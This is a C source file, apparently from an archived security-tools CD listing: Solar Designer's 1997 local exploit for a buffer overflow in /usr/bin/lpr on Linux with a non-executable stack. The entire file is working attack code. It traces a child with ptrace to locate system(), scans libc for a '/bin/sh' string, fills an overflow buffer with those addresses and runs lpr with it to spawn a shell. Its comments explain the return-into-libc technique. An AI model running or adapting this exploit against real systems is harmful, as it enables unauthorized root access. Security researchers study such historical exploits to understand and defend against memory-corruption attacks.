home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / lpd / lpr.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  4KB  |  162 lines

  1. /*
  2.  * /usr/bin/lpr   buffer   overflow    exploit   for  Linux   with
  3.  * non-executable stack
  4.  * Copyright (c) 1997 by Solar Designer
  5.  */
  6.  
  7. #include <stdio.h>
  8. #include <unistd.h>
  9. #include <string.h>
  10. #include <stdlib.h>
  11. #include <signal.h>
  12. #include <setjmp.h>
  13. #include <sys/ptrace.h>
  14. #include <sys/types.h>
  15. #include <sys/wait.h>
  16.  
  17. #define SIZE            1200    /* Amount of data to overflow with */
  18. #define ALIGNMENT       11      /* 0, 8, 1..3, 9..11 */
  19.  
  20. #define ADDR_MASK       0xFF000000
  21.  
  22. char buf[SIZE];
  23. int *ptr;
  24.  
  25. int pid, pc, shell, step;
  26. int started = 0;
  27. jmp_buf env;
  28.  
  29. void handler()
  30. {
  31.   started++;
  32. }
  33.  
  34. /* SIGSEGV handler, to search in libc */
  35. void fault()
  36. {
  37.   if (step < 0)
  38.     {
  39.       /* Change the search direction */
  40.       longjmp(env, 1);
  41.     }
  42.   else
  43.     {
  44.       /* The search failed in both directions */
  45.       puts("\"/bin/sh\" not found, bad luck");
  46.       exit(1);
  47.     }
  48. }
  49.  
  50. void error(char *fn)
  51. {
  52.   perror(fn);
  53.   if (pid > 0) kill(pid, SIGKILL);
  54.   exit(1);
  55. }
  56.  
  57. void main()
  58. {
  59.   signal(SIGUSR1, handler);
  60.  
  61.   /* Create a child process to trace */
  62.   if ((pid = fork()) < 0) error("fork");
  63.  
  64.   if (!pid)
  65.     {
  66.       /* Send the parent a signal, so it starts tracing */
  67.       kill(getppid(), SIGUSR1);
  68.       /* A loop since the parent may not start tracing immediately */
  69.       while (1) system("");
  70.     }
  71.  
  72.   /* Wait until the child tells us the next library call will be system() */
  73.   while (!started);
  74.  
  75.   if (ptrace(PTRACE_ATTACH, pid, 0, 0)) error("PTRACE_ATTACH");
  76.  
  77.   /* Single step the child until it gets out of system() */
  78.   do
  79.     {
  80.       waitpid(pid, NULL, WUNTRACED);
  81.       pc = ptrace(PTRACE_PEEKUSR, pid, 4*EIP, 0);
  82.       if (pc == -1) error("PTRACE_PEEKUSR");
  83.       if (ptrace(PTRACE_SINGLESTEP, pid, 0, 0)) error("PTRACE_SINGLESTEP");
  84.     }
  85.   while ((pc & ADDR_MASK) != ((int)main & ADDR_MASK));
  86.  
  87.   /* Single step the child until it calls system() again */
  88.   do
  89.     {
  90.       waitpid(pid, NULL, WUNTRACED);
  91.       pc = ptrace(PTRACE_PEEKUSR, pid, 4*EIP, 0);
  92.       if (pc == -1) error("PTRACE_PEEKUSR");
  93.       if (ptrace(PTRACE_SINGLESTEP, pid, 0, 0)) error("PTRACE_SINGLESTEP");
  94.     }
  95.   while ((pc & ADDR_MASK) == ((int)main & ADDR_MASK));
  96.  
  97.   /* Kill the child, we don't need it any more */
  98.   if (ptrace(PTRACE_KILL, pid, 0, 0)) error("PTRACE_KILL");
  99.   pid = 0;
  100.  
  101.   printf("system() found at: %08x\n", pc);
  102.  
  103.   /* Let's hope there's an extra NOP if system() is 256 byte aligned */
  104.   if (!(pc & 0xFF))
  105.     if (*(unsigned char *)--pc != 0x90) pc = 0;
  106.  
  107.   /* There's no easy workaround for these (except for using another function) */
  108.   if (!(pc & 0xFF00) || !(pc & 0xFF0000) || !(pc & 0xFF000000))
  109.     {
  110.       puts("Zero bytes in address, bad luck");
  111.       exit(1);
  112.     }
  113.  
  114.   /*
  115.    * Search for a "/bin/sh" in libc until we find a copy with no zero bytes
  116.    * in its address. To avoid specifying the actual address that libc is
  117.    * mmap()ed to we search from the address of system() in both directions
  118.    * until a SIGSEGV is generated.
  119.    */
  120.   if (setjmp(env)) step = 1;
  121.   else step = -1;
  122.   shell = pc;
  123.   signal(SIGSEGV, fault);
  124.   do
  125.     while (memcmp((void *)shell, "/bin/sh", 8)) shell += step;
  126.   while (!(shell & 0xFF) || !(shell & 0xFF00) || !(shell & 0xFF0000));
  127.   signal(SIGSEGV, SIG_DFL);
  128.  
  129.   printf("\"/bin/sh\" found at: %08x\n", shell);
  130.  
  131.   /*
  132.    * When returning into system() the stack should look like:
  133.    *                              pointer to "/bin/sh"
  134.    *                              return address placeholder
  135.    * stack pointer ->             pointer to system()
  136.    *
  137.    * The buffer could be filled with this 12 byte pattern, but then we would
  138.    * need to try up to 12 values for the alignment. That's why a 16 byte pattern
  139.    * is used instead:
  140.    *                              pointer to "/bin/sh"
  141.    *                              pointer to "/bin/sh"
  142.    * stack pointer (case 1) ->    pointer to system()
  143.    * stack pointer (case 2) ->    pointer to system()
  144.    *
  145.    * Any of the two stack pointer values will do, and only up to 8 values for
  146.    * the alignment need to be tried.
  147.    */
  148.   memset(buf, 'x', ALIGNMENT);
  149.   ptr = (int *)(buf + ALIGNMENT);
  150.   while ((char *)ptr < buf + SIZE - 4*sizeof(int))
  151.     {
  152.       *ptr++ = pc;
  153.       *ptr++ = pc;
  154.       *ptr++ = shell;
  155.       *ptr++ = shell;
  156.     }
  157.   buf[SIZE - 1] = 0;
  158.  
  159.   execl("/usr/bin/lpr", "lpr", "-C", buf, NULL);
  160.   error("execl");
  161. }
  162.